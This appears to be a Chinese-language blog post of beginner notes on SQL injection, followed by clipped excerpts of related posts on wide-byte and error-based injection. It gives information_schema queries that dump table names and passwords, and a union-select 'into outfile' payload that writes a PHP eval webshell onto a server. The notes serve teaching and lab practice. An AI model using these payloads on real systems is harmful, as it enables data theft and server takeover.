SQL注入初步

2021-09-26 21:02:29 字數 1041 閱讀 5095

(將之前寫的一些筆記挪到這裡來)

按照基本思路,將sql注入劃分為以下一些型別

這種型別的注入會將查詢結果顯示在前端

一般來說,首先要判斷注入點,一般有 get,post,cookie 三種形式的注入點

三種常見注釋:#,-- (寫在url中時空格會被消掉,所以要寫–+),/**/

order by用來判斷查詢的列數

常用的幾句查詢語句:

select group_concat(schema_name) from information_schema.schemata

select group_concat(table_name) from information_schema.tables where table_schema='security'

select group_concat(column_name) from information_schema.columns where table_name='users'

select group_concat(password) from security.users

基於錯誤的注入有三種常見的方式:

payload即我們要輸入的sql查詢語句

盲注的基本思路為,將資料庫名、表名或資料名截斷成單個字元,轉換成ascⅱ碼(32–127),然後判斷是否匹配來確定字元。

sql盲注有一些常用的函式及命令:

基於延時,顧名思義就是利用延時來進行判斷的盲注

常見的延時的方式有:

into outfile命令可以向伺服器寫入檔案,但前提時必須拿到伺服器的物理路徑。

-1'))  union select 1,"<?php @eval($_post['chopper']);?>",3 into outfile "c:\\phpstudy\\phptutorial\\www\\123456.php" --+
以上命令就可以向伺服器路徑中寫入php檔案並寫入shell**

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...